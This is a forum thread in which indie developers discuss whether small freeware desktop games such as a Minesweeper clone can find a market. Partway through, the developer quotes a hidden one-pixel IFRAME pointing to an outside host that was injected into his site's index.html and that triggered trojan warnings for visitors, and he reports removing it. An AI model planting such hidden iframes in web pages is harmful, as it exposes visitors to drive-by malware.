Is there still a market for simple desktop games out there... I just wrote this simple Mines game.. being released as FREEWARE.

http://www.jabawokie.ukgamers.net/jm2.gif

Download : Jimmy Mines (500kb) (http://www.jabawokie.ukgamers.net/Jimmy%20Mines.exe)

Also his game : Jimmy Blox (900kb) (http://www.jimmyblox.ukgamers.net/) (only sold 27 copies so far).

Have a few other in mind... not sure if its worth developing them though.

I didn't play it so I can't say anything about the game itself, but yes, there is still a a market for games like this.

Of course, spicing up the gfx a bit without going to DX or OGL would help, but if the game is good, people will get it, but I do think this is mostly limited to puzzle games or point and click and wait for another point and click games.

No, I just don't believe there is a market for games for desktop systems at all.




That's why I'm here in the Indy developer page wasting hours of time reading about it:rolleyes:

Originally posted by sunshine
No, I just don't believe there is a market for games for desktop systems at all.

That's why I'm here in the Indy developer page wasting hours of time reading about it:rolleyes:

If you'd read the question properly, you need not have made a sarcastic reply. He clearly isn't asking about games for desktop systems. He's talking about simple games that play on your desktop, ie in a small Window while you're doing work in another window, like Minefield.


To answer the question, yes, I think there's a market, but it's a very crowded market, so you need to offer either extreme polish ( nice graphics, etc ) or a new idea ( is there such a thing? new twist on an old idea then ;) )

Is it really that crowded? I haven't seen an awful lot of competition in this space, myself. Just the same old games. My wife still plays Windows Solitaire more than any other game on her computer. Oh, except for Morrowind, but that game is evil, and must be destroyed.

Cas :)

hmmm....I tried to go to the Jimmy Blox page, and was prompted to install three different ActiveX controls, all of which Symantic flagged as trojans.

Did this happen to anyone else?

I don't think the desktop market is crowded at all. Unfortunately, desktop games are often lumped in the casual games market which many people do believe is crowded. Personally, I don't look at the casual market as crowded, but stale.

Siebharinn - I didn't get the promps but it was loading some stuff that should no have been loading (webpages)???/

I'll look at my FTP, and contact my host.

Thanks for pointing it out.

And thanks to every 1 else who posted. at least I got a "NO no one buys desktop games". ;)

Siebharinn

I just looked at my ftp no unexpected files in there but my index.html page had

<IFRAME SRC="http://www.b00gle.com/fa/?d=get" WIDTH=1 HEIGHT=1></IFRAME>

appended to the end of it??????... and I didnt put it there.. i'm emailling my host now, I guess they got hit my bot that added tags to .html files or somthing.

I cleaned up the index.html page and checked all the others. site will work now.

Yes sorry, perhaps I wasn't very clear what I meant. When I said the market was crowded, I was really referring to desktop games and casual games combined. I think it's something of a crossover market, in as much as you're often selling to the same people even if your games are not directly competing with those games.

I think it's possible, but you do need to have something to make the game(s) stand out.

If you'd read the question properly, you need not have made a sarcastic reply.
Ok, my joke wasn't as funny as I thought. He was talking about the windows desktop.:confused: My fault.

I did play Jimmy Minesweeper, and It DL'd quickly, no problems installing, ran great. Was kinda fun (I didn't like minesweeper).

This is just the kinda thing people like when they take a short break from work. I do actually believe there is a market for this and my reason for that is due to the overwhelming popularity of Solitare, and Minesweeper. Which are surly the most popular games of all times. Although there are other factors involved in this fact, The games are just simple and fun.

I honesly think (with a few improvements) this game could sell for 4.99 per copy. I would recommend trying to improve the all elusive "fun factor".
Just think
If this game is your spring board to more titles of escalating quality and value, then it may be worth much more than you think.

I intend to make a few games with Jimmy (the guy in both the games)... kinda of build up a brand.

I dont intend to sell Jimmy mines at all, just release it as freeware to drive traffic for my other games.

Here's a little peek at my next title, took just 3 days to write (you gota love Blitz+). ;)

http://www.blitzbasic.com/Community/posts.php?topic=34763